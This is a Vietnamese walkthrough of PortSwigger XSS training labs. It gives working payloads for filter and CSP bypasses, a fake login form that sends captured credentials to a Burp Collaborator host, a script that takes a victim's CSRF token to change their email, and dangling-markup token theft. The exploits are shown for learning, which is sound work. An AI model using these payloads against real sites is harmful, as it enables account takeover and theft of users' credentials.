# WEB07: XSS ![](https://i.imgur.com/BvWkBJK.png) ## Lab: Reflected XSS into HTML context with nothing encoded ```! This lab contains a simple reflected cross-site scripting vulnerability in the search functionality. To solve the lab, perform a cross-site scripting attack that calls the alert function. ``` Access vào bài lab, ta thấy có chức năng Search ![](https://i.imgur.com/3BVS5If.png) Khi sử dụng tính năng này, nhận thấy vì input được reflect trong response nên chỉ cần call alert function để solve bài lab `<script>alert(1)</script>` ![](https://i.imgur.com/L7nj1iR.png) ## Lab: Reflected XSS into HTML context with most tags and attributes blocked ```! This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors. To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function. ``` Tìm được hai tag là `body` và custom tag thông qua c[heat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) của port swigger không bị chặn bởi WAF ![](https://i.imgur.com/5hOdxz0.png) Tiếp theo là tìm các event của hai tag này với phương pháp tương tự ![](https://i.imgur.com/AokFZgt.png) Ở đây ta thử event `onresize` của tag `body`, search trong cheet sheet thì thấy có một payload: `<body onresize=print()>`, khi window được resize sẽ call đến event -> print function ![](https://i.imgur.com/nhsTFHK.png) Việc còn lại là tìm cách "delivery" payload này đến victim, setup exploit server như sau: ![](https://i.imgur.com/MXdCeh5.png) Tạo một iframe với src là trang web bị lỗi reflected xss và sau đó áp dụng event onload để resize iframe => trigger payload xss và thực thi print function Cuối cùng chọn Delivery exploit to victim để solve bài lab ![](https://i.imgur.com/vwrXJPX.png) ## Lab: Reflected XSS into HTML context with all tags blocked except custom ones ```! This lab blocks all HTML tags except custom ones. To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie. ``` Ở bài lab này các tag đều bị block trừ custom tag, theo như cheet sheet của portswigger ta tìm được payload: `<xss tabindex=1 onfocus=alert(document.cookie) id=x>#x` Về bản chất ta tạo ra một custom tag `xss` với id là `x`, thuộc tính `onfocus` sẽ call đến alert function khi được focus, `tabindex` chỉ định thứ tự sẽ được focus khi ấn nút Tab. Có thêm fragment `x` ở url để focus vào custom tag này ![](https://i.imgur.com/66bVCoR.png) ## Lab: Reflected XSS with event handlers and href attributes blocked ```! This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked.. To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function. Note that you need to label your vector with the word "Click" in order to induce the simulated lab user to click your vector. For example: <a href="">Click me</a> ``` Scan các tag không bị chặn: ![](https://i.imgur.com/aJjdu1d.png) Sau một hồi search với các keyword liên quan, ta tìm được một [blog](https://blog.isec.pl/xss-fun-with-animated-svg/) để tham khảo Final payload: `<svg><a><animate attributeName=href values="javascript:alert(1)" /><text x=20 y=20>Click me</text></a>` ![](https://i.imgur.com/sYx6cRm.png) ## Lab: Reflected XSS with some SVG markup allowed ```! This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events. To solve the lab, perform a cross-site scripting attack that calls the alert() function. ``` Các tag không bị chặn là `animatetransform`, `svg` ... ![](https://i.imgur.com/UKn8AaE.png) Đồng thời scan được event là `onbegin` cũng không bị chặn bởi waf ![](https://i.imgur.com/KiJwm8D.png) Cấu trúc của tag svg khi sử dụng với animatetransform như sau ![](https://i.imgur.com/JR5NGKW.png) Vậy nếu ta thử thêm thuộc tính onbegin cho animatetransform tag => XSS ![](https://i.imgur.com/QYNG8Vb.png) ## Lab: Reflected XSS into attribute with angle brackets HTML-encoded ```! This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function. ``` Ở bài lab này các dấu `<` , `>` đã bị html encode ![](https://i.imgur.com/fkc7LnH.png) Vì thế ta sẽ cần inject vào attribute của một tag, để ý ở dưới có một tag input có thể khai thác ![](https://i.imgur.com/ZZfYHz5.png) Payload `" autofocus onfocus=alert(1) a="` ![](https://i.imgur.com/9ZjRQGU.png) ## Lab: Reflected XSS in canonical link tag ```! This lab reflects user input in a canonical link tag and escapes angle brackets. To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function. To assist with your exploit, you can assume that the simulated user will press the following key combinations: ALT+SHIFT+X CTRL+ALT+X Alt+X Please note that the intended solution to this lab is only possible in Chrome. ``` Từ bài [research](https://portswigger.net/research/xss-in-hidden-input-fields) của portswigger, ta có thể dễ dàng solve bài lab với payload ![](https://i.imgur.com/b6XkPTb.png) Kết quả ![](https://i.imgur.com/WaGfjRB.png) ## Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped ```! This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function. ``` Ở lab này, input của ta sẽ được reflect trong một block script ![](https://i.imgur.com/Jv363Fl.png) Để XSS ta cần break script tag này và chèn payload xss: `</script><img src=x onerror=alert(1)>//` ![](https://i.imgur.com/41h0mH7.png) ## Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded ```! This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function. ``` Thử search với input là `<a>`, ta được response như sau ![](https://i.imgur.com/qitW2M4.png) => các kí tự `<` và `>` đã bị encode Ta có thể break khỏi string hiện tại bằng dấu `-`, payload: `-alert(1)-` ![](https://i.imgur.com/nVavumd.png) ## Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped ```! This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function. ``` Search với input là `bla'bla` ![](https://i.imgur.com/RCUqiVU.png) Ta thấy lần này `'` đã được escape với `\`, tuy nhiên có thể bypass bằng cách sử dụng thêm một kí tự `\` Final payload: `\'-alert(1)//` ![](https://i.imgur.com/JAQlYkZ.png) ## Lab: Reflected XSS in a JavaScript URL with some characters blocked ```! This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks. To solve the lab, perform a cross-site scripting attack that calls the alert function with the string 1337 contained somewhere in the alert message. ``` Ý tưởng dựa vào bài research <https://portswigger.net/research/xss-without-parentheses-and-semi-colons> Payload: `&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27` => url decode: `&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'` Giải thích *Implicit Globals* Khi ta khai báo một biến mà không sử dụng `var`, `let` ,`const` nó sẽ được gán cho thuộc tính của global object. Trên trình duyệt, global object là `window`. *Arrow Function* `x=x=>{onerror=alert; throw 1337}` Tạo ra một arrow function và gán cho `x`. Function x chứa đoạn statement gán error handler `onerror` thành alert function sau và đó `throw 1337` sẽ truyền tham số 1337 cho error handler function (lúc này đã bị ghi đè thành alert). Như đã nói ở trên `x` sẽ được hiểu "implicit global" và được gán vào `window`. *Ghi đè `toString`* `toString=x` Khi đè `toString` method của `window` thành `x`, vì thế khi ta convert `window` sang một string, nó sẽ gọi đến `x` *Converting `window` to String* `window+''` Khi ta concate với `''` sẽ trigger method `window.toString()` -> `window.x()` ## Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped ```! This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string. ``` Ở chức năng search, input của ta được đưa một template literal của JS ![](https://i.imgur.com/NWrZ9hJ.png) Bởi vì các kí tự angle brackets, single, double quotes, backslash và backticks đã bị escape nên chỉ còn cách sử dụng `${...}` để thực thi JS Payload: `${alert(1)}` ![](https://i.imgur.com/oDbRbjF.png) ## Lab: Stored XSS into HTML context with nothing encoded ```! This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the blog post is viewed. ``` Từ mô tả, có thể dễ dàng khai thác store xss như sau ![](https://i.imgur.com/6FrYgy8.png) Sau khi Post Comment, ta chọn Back to blog và sẽ thấy alert function được gọi ![](https://i.imgur.com/8NV9k0e.png) ## Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded ```! This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked. ``` Từ mô tả, chức năng XSS có liên quan đến tính năng comment của trang web -> thử với các thông tin ![](https://i.imgur.com/BEhSWkN.png) -> Input của ta được đưa vào attribute `href` của tag `a` ![](https://i.imgur.com/PPEVpmT.png) Để thỏa yêu cầu đề bài, ta chỉ cần chỉnh cho giá trị của field Website là `javascript:alert(1)` ![](https://i.imgur.com/7GEGWtH.png) Kết quả ![](https://i.imgur.com/iIMLfOZ.png) ## Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped ```! This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked. ``` Ở tính năng comment, ta thử Post với các giá trị như sau ![](https://i.imgur.com/CVPbiyw.png) Sau khi Post, back to blog và view source sẽ thấy input của ta (trường Website) rơi vào value của tag `a` ![](https://i.imgur.com/Ot16bwu.png) Nhưng vì angle brackets và double quotes đã bị html encode, single quotes và backslash bị escaped nên ta phải sử dụng cách đó là html encode vài kí tự trong payload. Bởi vì trình duyệt sẽ HTML decode giá trị của thuộc tính onclick trước khi parse JS Payload ban đầu : `');alert(1)//` -> HTML encode: `&#39;&#41;&#59;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#47;&#47;` ![](https://i.imgur.com/zOIV2TI.png) Kết quả: ![](https://i.imgur.com/HhmjM5i.png) ## Lab: DOM XSS in document.write sink using source ```! This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL. To solve this lab, perform a cross-site scripting attack that calls the alert function. ``` Từ đoạn JS sau ![](https://i.imgur.com/ITmDEgT.png) ta có thể suy ra được - source: `search` param - sink: `document.write` ở `trackSearch` function ![](https://i.imgur.com/hoq7lX5.png) -> XSS với payload như sau ![](https://i.imgur.com/1wQfpWx.png) ## Lab: DOM XSS in document.write sink using source location.search inside a select element ```! This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element. To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function. ``` Chức năng stock check: ![](https://i.imgur.com/LyNt1KF.png) Đoạn code JS trong trang này như sau ![](https://i.imgur.com/qvDm7vj.png) => Source là `storeId` GET param và sink là `document.write` (sẽ cần đóng tag `option`) Test với `storeId=abc`: ![](https://i.imgur.com/MD9KCYe.png) Solve bài lab: ![](https://i.imgur.com/tyj5YI9.png) ## Lab: DOM XSS in innerHTML sink using source ```! This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search. To solve this lab, perform a cross-site scripting attack that calls the alert function. ``` View source trang web, ta tìm được đoạn JS dính lỗi DOM-XSS ![](https://i.imgur.com/2AhBfc7.png) Source: `search` param, sink: `document.innerHTML`. Tuy nhiên đối với innerHTML ta không thể dùng `script` tag bởi vì trình duyệt đã có cơ chế không thực thi đoạn mã JS trong tình huống đó vì vậy có thể xài `img` hoặc `iframe` tag cũng với các event quen thuộc để trigger XSS ![](https://i.imgur.com/bp7NUC0.png) ## Lab: DOM XSS in jQuery anchor href attribute sink using location.search source ```! This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search. To solve this lab, make the "back" link alert document.cookie. ``` Ở trang dùng để submit feedback ![](https://i.imgur.com/hNXL1XM.png) Có một đoạn jquery mà ta có thể lợi dụng để khai thác DOM XSS ![](https://i.imgur.com/1bSAhWG.png) => Dễ dàng thay đổi giá trị của thuộc tính href thành giá trị bất kì thông qua GET param `returnPath` -> `?returnPath=javascript:alert(1)` ![](https://i.imgur.com/JWZV9v6.png) ## Lab: Reflected DOM XSS ```! This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink. To solve this lab, create an injection that calls the alert() function. ``` Follow của trang web, khi ta ấn search một GET request sẽ được gửi đến `/search-results?search=<input>` ![](https://i.imgur.com/Ql62ggE.png) Response trả về sẽ được process bởi file `searchResults.js` ![](https://i.imgur.com/soMJpbd.png) Nội dung file này khá dài nhưng ta cần để ý tới điểm sau ![](https://i.imgur.com/dQB6NC5.png) Response được đưa vào hàm eval -> sink tại đây Vậy điều ta cần làm là nhập input sao cho response trả về của GET request đến /search-results chứa payload xss Sau một hồi fuzzing, suy ra có thể dùng `\` để escape JSON response và chèn payload XSS ![](https://i.imgur.com/AR25bKr.png) Solve bài lab ![](https://i.imgur.com/qx3s4i6.png) ## Lab: Stored DOM XSS ```! This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function. ``` Về luồng hoạt động, khi post lên một comment ![](https://i.imgur.com/bGN1wIw.png) Các thông tin sẽ được lưu trên server sau đó trang sử dụng một file JS là `loadCommentsWithVulnerableEscapeHtml.js` để oad comments từ server và render ![](https://i.imgur.com/kgNkJpU.png) Sau khi xem qua một lượt về file này, dễ thấy sink nằm ở đoạn code ![](https://i.imgur.com/MPnNQeJ.png) `comment.author` chính là giá trị `name` khi ta post comment Tuy nhiên nếu muốn khai thác XSS ta phải bypass được function `escapeHTML()`.Chức năng của hàm này như sau: ![](https://i.imgur.com/UcfyVr8.png) -> thực hiện thay thế kí tự `<` thành `&lt;` và `>` thành `&gt;`. Nhưng trong JS nếu ta sử dụng `.replace()` với tham số thứ nhất là một value chứ không phải regex patern thì nó chỉ thay thế kí tự đầu tiên của chuỗi ![](https://i.imgur.com/dwBDRcj.png) Payload: ![](https://i.imgur.com/M7TYoAd.png) Kết quả: ![](https://i.imgur.com/vhMic0k.png) ## Lab: Exploiting cross-site scripting to steal cookies ```! This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim. ``` Đề bài mô tả bài lab này bị lỗi stored XSS ở chức năng comment, thực hiện khai thác như sau: ![](https://i.imgur.com/KNalQMz.png) Post Comment, chở một vài giây ta lấy được cookie của victim ![](https://i.imgur.com/FnSbCzk.png) Chỉnh thành giá trị cookie của victim ![](https://i.imgur.com/QgZd3QU.png) Vào lại My account kiểm tra -> giả mạo được user admin và solve bài lab ![](https://i.imgur.com/bdoPjzR.png) ## Lab: Exploiting cross-site scripting to capture passwords ```! This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account. ``` Lợi dụng chức năng auto fill, tạo hai ô input giả mạo ứng với username và password bằng cách post comment với nội dung: ```htmlmixed <label>Username</label> <input required type=username name="username" onchange="if(this.value.length>0)navigator.sendBeacon('https://er9wzpona17tux07gygnnh0klbr1fq.burpcollaborator.net', this.value)"> <label>Password</label> <input required type=password name="password" onchange="if(this.value.length>0)navigator.sendBeacon('https://er9wzpona17tux07gygnnh0klbr1fq.burpcollaborator.net', this.value)"> <button class=button type=submit> Log in </button> ``` ![](https://i.imgur.com/48feisz.png) Chờ một vài giây và kiểm tra burp collab client, ta lấy được username và password của victim Username `administrator`: ![](https://i.imgur.com/YUkX4hu.png) Password: ![](https://i.imgur.com/vWD79Fa.png) Login với account vừa lấy được để solve bài lab ![](https://i.imgur.com/1Rihjy7.png) ## Lab: Exploiting XSS to perform CSRF ```! This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments. You can log in to your own account using the following credentials: wiener:peter ``` Ý tưởng: lợi dụng Stored XSS để extract csrf token và áp dụng csrf để change email. Login với account được cung cấp ![](https://i.imgur.com/Q6E2Q4M.png) Sau đó change email, request sẽ có dạng như sau ![](https://i.imgur.com/dgwe0ar.png) Csrf token có thể được lấy ở `/my-account` ![](https://i.imgur.com/qM4FFUj.png) Stored xss tại chức năng comment ![](https://i.imgur.com/LejdXhB.png) Payload: ```htmlembedded <script> var x = new XMLHttpRequest; x.open('GET', '/my-account'); x.onload = function () { var csrfToken = this.responseText.match(/name="csrf" value="(.*)">/)[1]; fetch('/my-account/change-email', { method: 'POST', mode: 'no-cors', headers:{ 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ 'email': 'hacked@gmail.com', 'csrf': csrfToken }) }); } x.send(); </script> ``` Kết quả ![](https://i.imgur.com/idDM4qp.png) ## Lab: Reflected XSS protected by very strict CSP, with dangling markup attack ```! This lab using a strict CSP that blocks outgoing requests to external web sites. To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user's CSRF token using Burp Collaborator. You then need to change the simulated user's email address to hacker@evil-user.net. You must label your vector with the word "Click" in order to induce the simulated user to click it. For example: <a href="">Click me</a> You can log in to your own account using the following credentials: wiener:peter ``` Ở chức năng Update email, ta thấy trang web tự fill vào ô input email với giá trị ứng với `?email` ![](https://i.imgur.com/hKkaeCJ.png) Vậy có thể khai thác dangling markup để steal csrf token của victim với payload: ```! ?email="><a%20href="https://exploit-0a580012045b7c1480dd16fa011600e7.exploit-server.net/exploit">Click%20me<base%20target=%27 ``` ![](https://i.imgur.com/b4lwftN.png) Thử ấn Click me ![](https://i.imgur.com/yMWLTwr.png) (bên phía exploit server setup cho `alert(name)`) Setup lại exploit server ![](https://i.imgur.com/zrYEAg8.png) Delivery exploit to victim và check access log ![](https://i.imgur.com/iZeaQPA.png) ![](https://i.imgur.com/7923spU.png) Tạo lại CSRF form để Update email của user admin ![](https://i.imgur.com/SKQCVVg.png) Delivery exploit to victim và Solve ![](https://i.imgur.com/KgfSHZB.png) ## Lab: Reflected XSS protected by CSP, with CSP bypass ```! This lab uses CSP and contains a reflected XSS vulnerability. To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the alert function. Please note that the intended solution to this lab is only possible in Chrome. ``` Sau một hồi fuzzing, nhận ra ta có thể khai thác csp injection tại param `token` ![](https://i.imgur.com/AoyTbAV.png) Final payload ![](https://i.imgur.com/yEfC11Z.png) Solve ![](https://i.imgur.com/ZqfIu8H.png) ## Lab: Reflected XSS with AngularJS sandbox escape without strings ```! This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS. To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function ``` ###### tags: `portswigger`